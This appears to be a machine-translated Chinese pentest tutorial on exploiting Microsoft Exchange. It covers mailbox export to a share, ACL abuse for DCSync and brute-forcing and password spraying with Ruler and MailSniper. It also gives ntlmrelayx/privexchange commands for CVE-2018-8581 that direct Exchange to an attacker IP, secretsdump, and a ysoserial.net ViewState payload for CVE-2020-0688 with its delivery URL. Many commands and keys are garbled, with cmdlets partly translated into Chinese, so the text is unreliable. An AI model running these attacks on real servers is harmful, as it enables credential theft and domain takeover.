Exchange 漏洞利用
1 安装
可以引用安装过程:Microsoft的官方文档和博客总体过程分为三个步骤:
满足先决条件
在域中建造结构
setup.exe /prepareeschema /iacceptexchangeserverlicenseterms
setup.exe /pad /andymanname: pentestlab /iacceptexchangeserverlicenseterms
setup.exe安装

2 背景
Exchange Server是Microsoft的一组电子邮件服务组件,这是一个消息传递和协作系统。简而言之,Exchange Server可用于为企业和学校构建邮件系统。 Exchange Server也是一个协作平台。在此基础上,可以开发工作流,知识管理系统,Web系统或其他消息系统。2.1 相关概念
010-10邮件服务器此角色是一个后端组件,可提供托管的邮箱,公共文件夹和相关消息数据(例如地址列表),并且是必需的服务器角色。
客户端访问服务器
接收和处理不同客户端请求的中级服务器角色。该角色服务器提供了使用不同协议访问的支持。在每个交换环境中,至少需要一个客户端访问服务器。客户端访问服务器提供了将Exchange服务器访问以下不同接口的处理。
集线器传输服务器
或中央传输服务器,此服务器角色的核心服务是Microsoft Exchange Transport,它负责处理邮件流(这是Exchange的另一个主要知识点。Exchange Administrator需要通过MailFlow实现出站和入站配置),路由邮件,并将其分配到Exchange组织中。该服务器角色处理发送到本地邮箱的所有邮件和发送到外部邮箱的邮件,并确保正确解析邮件和收件人的地址并实施了特定的策略(例如邮件地址过滤,内容过滤,格式转换等)。该服务器角色等于用于邮件传输的继电器站点,并且在每个交换环境中都需要至少一个集线器传输服务器。
统一消息服务器
集成私人分支交换/PBX和Exchange Server,以允许邮箱用户以邮件,可选角色发送存储的语音和传真消息。
边缘消息服务器
作为专用服务器,该服务器角色可用于将邮件路由到内部或外部,并且通常在网络边界上部署并用于设置安全边界。它接受内部组织的邮件和来自外部受信任服务器的邮件,然后应用特定的反垃圾邮件和反病毒策略,最后将通过策略过滤的邮件路由到内部HUB传输服务器,可选角色。
在Exchange Server 2013及更高版本中,服务器角色将减少到三个:邮箱服务器,客户端访问服务器和边缘传输服务器,其中邮箱服务器角色和客户端访问服务器角色通常安装在同一服务器中。
2.1.1 邮件服务器角色
OWA- Outlook Web应用程序使用客户端登录,地址通常为http://doamin/owa/
ECP-交换管理中心
管理中心,管理员使用的Web控制台管理组织中的交换
EWS-交换网络服务
网络管理接口。 Exchange提供了一组API编程接口,供开发人员致电,用于访问Exchange服务器,交互和管理诸如电子邮件,联系人,日历等的功能,并在Exchange Server 2007中提出。Microsoft基于标准Web服务开发EWS,EWS基于标准的Web服务,EWS在客户端和服务器之间实现了基于HTTP的SOAP相互作用。
2.1.2 客户端/远程访问接口和协议
2.2 服务发现
25端口SMTP指纹显示交换SMTPD港口80是IIS
443端口打开
2.2.1 基于端口扫描发现
1setspn -t pentest.com -f -q /
010-1011查看邮箱数据库
1
2
添加pssnapin microsoft.exchange*
get -mailboxdatabase -server'Exchange'

查看指定用户的电子邮件地址的使用信息
1
Get -MailboxStatistics-身份管理员|选择DisplayName,ItemCount,AtteryTemsize,LastLogonTime

查看所有用户电子邮件使用信息
1
get -mailbox -resultsize无限| Get-MailboxStatistics |排序对象整体确定
2.2.2 SPN 查询
2.3 exchange 基本操作
查看用户权限1
2
#用导出权限查看用户
Get -ManagementRoleassignment -OR'Mailbox Import Export'|格式列表roleassigneename
添加用户角色权限
1
new -managementRoleassignment -Name“导入export_domain admins' -user'管理员' - role'邮箱导出'
删除用户权限
1
new -ManagementRoleassignment“导入export_domain admins” -confirm: $ false
设置网络共享文件夹
1
净共享inetpub=c: \ inetpub /grant:everyone,完整
导出电子邮件
1
new -mailboxexportrequest -mailbox管理员-Filepath \\ ip \ inetpub \ inderdaTor.pst
2.4 导出指定邮件
查看以前的导出记录1
Get-mailboxexportrequest
删除指定的用户完成的导出请求
1
删除MailBoxExporTrequest -Indentify管理员\ MailboxExport
删除所有已导出的请求
1
get -mailboxexportrequest -Status完成|删除MailBoxExporTrequest
2.4.1 配置用户的导入、导出权限
查看Exchange服务器的隶属关系,发现其属于:Exchange Security Group
再次跟进CN=Exchange Trusted子系统,OU=Microsoft Exchange Security Group,DC=Pentest,DC=实验室

该组还隶属于CN=交换窗口权限,OU=Microsoft Exchange Security Group,DC=Pentest,DC=Lab,其中包含通过管理服务代表用户运行Exchange CMDLET的Exchange服务器。它的成员有权阅读和修改所有Windows帐户和组。
简而言之,Exchange Server有权修改域中任何用户的ACL。
因此,您可以使用Exchange修改用户ACL,然后使用DCSYNC转储哈希。
2.4.2 清理痕迹
如上所述,Exchange提供了各种客户端邮箱接口和服务接口。对于穿透测试仪,这些接口是交换中的第一级。提供服务的接口需要有效的用户凭据信息。显然,破解用户名和密码是首次面对的尝试。在企业域环境中,交换和域服务用于收集域用户帐户密码,域用户帐户密码是Exchange Mailbox的帐户密码。因此,如果通过蛮力破裂和其他方式成功获得了邮箱用户密码,则将间接获得域用户密码。3 Exchange 在域中的权限
自动发现自动发现服务使用autodiscover.xml配置文件自动设置用户。获取自动配置文件需要用户身份验证。例如,如果访问http://exchange.pentest.lab/autodiscover/autodiscover.xml文件,则会提示您需要身份验证。以下是通过身份验证,将获得以下XML文件内容:
使用此界面,您可以对电子邮件帐户进行爆发。尺子提供蛮力破裂,以身份验证Exchange的自动配置文件接口。通过配置线程数和间隔时间,它可以限制开裂速度,以防止多个登录失败触发警报或帐户禁令。
1
./ruler -url https://172.16.147.4/autodiscover/autodiscover.xml - domain pentest.lab - insecure brute -users user.txt -passwords pass.txt.txt.txt -dellay 0- delay 0- verbose 0- verbose

4 Exchange 接口利用
密码喷雾也是一种破解帐户密码的方法。与传统的蛮力破裂方法不同,密码spay会破解一批帐户,然后使用下一个用户每次或几次尝试一次。重复这一点,并间隔一定时间,以避免出现多重蛮力破裂检测和帐户锁定的风险。Mailsniper分别为OWA接口,EWS接口和Activesync接口提供密码喷雾。
1
Indoke -passwordsprayews -exchhostname Exchange.pentest.lab -userlist。

4.1 利用自动发现服务进行暴力破解
4.2 Password Spray
5 利用 Exchange 接管域控
Exchange允许任何用户通过EWS接口创建推送订阅,并可以将任何URL指定为通知推送的目的地;当触发推动时,Exchange使用凭证类别类的默认限制属性,使用默认设备时发出的HTTP请求将使用此权限来启动NTLM身份验证;在EWS请求中,通过在标题中使用序列化SecurityContext,可以实现伪装的身份,从而将EWS作为指定的用户称为操作。也就是说,从HTTP继电器到LDAP的NTLM继电器攻击。
5.1 CVE-2018-8581 SSRF 漏洞
Exchange Server 2010〜交换服务器20165.1.1 漏洞描述
漏洞被利用为两个工具:Imppacket
privexchange
首先,在本地计算机上启动NTLM继电器,然后输入弹丸的示例目录以执行
1
python2 ntlmrelayx.py -t ldap: //pentest.lab -escalate -user黑客
pentest.lab是域名
-escalate-user参数是正常的权限用户名称Exchange的用户名。
1
python2 privexchange.py -Ah 172.16.147.1 172.16.147.4 -u hacker -p'hack123ab'-d pentest.lab
-ah参数指定攻击者IP,此处172.16.147.1
172.16.147.4对于Exchange Server的域名或IP地址-U指定需要升高的正常权限用户名-P指定Exchange -d的普通权限用户的密码-D指定域名
导出域中的哈希:
1
python2 secretsdump.py pentest.lab/[email protected] -dc
5.1.2 受影响的系统版本
5.1.3 漏洞复现
与普通软件安装不同,每次都会产生随机键的普通软件安装,所有交换服务器在已安装的Web.config文件中都具有相同的验证键和netryptignekey。这些密钥用于确保ViewState的安全性。ViewState是由ASP.NET Web应用程序以序列化格式存储在客户端上的服务器端数据。客户端通过__ViewState请求参数将此数据返回服务器。攻击者可以在Exchange Control面板Web应用程序上执行任意.NET代码。
当攻击者获得可以通过各种方式访问Exchange Control面板(ECP)组件的用户帐户密码时。攻击者可以在攻击交换上执行任意代码,以直接获得服务器权限。
有关具体原则,请参考:CVE-2020-0688
5.2 CVE-2020-0688 反序列化漏洞
Microsoft Exchange Server 2010 Service Pack 3Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019
5.2.1 漏洞描述
5.2.2 受影响的系统版本
首先需要获得4个参数:验证键此参数是默认值,这是漏洞的原因
CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
验证默认值
SHA1
发电机
ViewStateUserKey
在这四个变量中,默认情况下是固定的,并且需要从身份验证的会话中收集ViewStateUserkey和Generator的值。 ViewStateUserKey可以从ASP.Ne T的_sessionId cookie获得,而生成器可以在隐藏的字段__ViewStateGenerator中找到。
5.2.3 漏洞复现
正常登录后访问/ECP/default.aspx页面。使用burpsuite捕获数据包,然后发送中继器在登录时找到/ECP/default.aspx的原始响应。找到asp.net_sessionid的cookie:
1
asp.net_sessionid=D7D6614A-4959-4989-A3D1-27E6EFD8875D
搜索__ViewStateGenerator获取字段值:
1
B97B4E27

需要
5.2.3.1 前提
ysoserial.net生成执行者的有效载荷
1
ysoserial.exe -p ViewState -G TextFormatTingRunProperties -c'calc.exe'-validationalg='sha1'-ValidationKeykey='CB2721ABDAF8E9DC5621D621D8B8B8BF13A2C9E2C9E8689E8689A253BBFF17BRAIRTARTOR -ViewStateUserKey='D7D6614A-4959-4989-A3D1-27E6EFD8875D' - ISDEBUG -ISLEGACY
得到:
1
/weylacaaqaaap ////8baaaaaaaaaaaaaaaaaaaaaaaaaaaaawcaaaaxk1py3jvc29mdc5qb3dlclnozwxslkvkaxrvciwgvm vyc2lvbj0zljaumc4wlcbdddwx0dxjlpw5ldxryywwwsifb1ymxpy0tlevrva2vuptmxymyzodu2ywqzn jrlmzufaqaaaejnawnyb3nvznquvmlzdwfsu3r1zglvllrlehqurm9ybwf0dgluzy5uzxh0rm9ybwf 0dgluz1j1blbyb3blcnrpzxmbaaaad0zvcmvncm91bmrccnvzaaaeecaaaabgmaaac2btw/eg1sihzlcn npb249ijeumcigzw5jb2rpbmc9inv0zi04ij8+dqo8t2jqzwn0rgf0yvbyb3zpzgvyie1dghvze5h bwu9iln0yxj0iibjc0luaxrpywxmb2fkrw5hymxlzd0irmfsc2uiihhtbg5zpsjodhrwoi8vc2nozw1 HCY5TAWNYB3NVZNQUY29TL3DPBMZ4LZIWMDYVEGFTBC9WCMVZZW50YXRPB24IIHHTBG5ZONNKPSJJJB hitbmftzxnwywnloln5c3rlbs5eawfnbm9zdgljczthc3nlbwjset1texn0zw0iihhtbg5zong9imh0 dha6ly9zy2hlbwfzlm1py3jvc29mdc5jb20vd2luzngvmjawni94yw1sij4nciagpe9iamvjjderhdgfq cm92awrlci5pymply3rjbnnn0yw5jzt4nciagicagica8c2q6uhjvy2vzczcz4nciagicagiDxzzzzzzzzzzzzzzzzzzzzzzzzzdpqcm9jz Xnzlln0yxj0sw5MBz4nciagicagicagagphnkolbyb2nlc3ntdgfydeluzm8gqxjndw1lbnrzpsivyyb jywxjlmv4zsigu3rhbmrhcmrfcnjvckvuy29kaw5npsj7edpodwxsfsigu3rhbmrhcmrhcmrpdxrwdxrfbm NVZGLUZZ0IE3G6TNVSBH0IIFVZZXJOYW1LPSIIIFBHC3N3B3JKPSJ7EDPODWXSFSFSFSIGRG9TYWLUPSII IEXVYWRVC2VYUHJVZMLSZT0IRMFSC2UIIEZPBGVOYW1LPSJJBWQIIC8+DQOGICAGICA8L3NKOLBYB2N LC3MUU3RHCNRJBMZVPG0KICAGIDWVC2Q6UHJVY2VZCZCZ4NCIAGPC9PYMPLY3REYXRHUHUHUHJVDMLKZXIUT 2JQZWN0SW5ZDGFUY2U+DQO8L09IAMVJDERHDGFQCM92AWRLCJ4LSXUWOXG5VZEGJVCJLWNNZ8XSRFW=
生成有效载荷代码后,您需要使用URL编码编码来构建URL:
1
/ECP/default.aspx?__viewstategenerator=generator __viewState=viewState
用最初获得的__ViewStateGenerator值替换生成器,然后用URL编码编码有效负载替换ViewState。
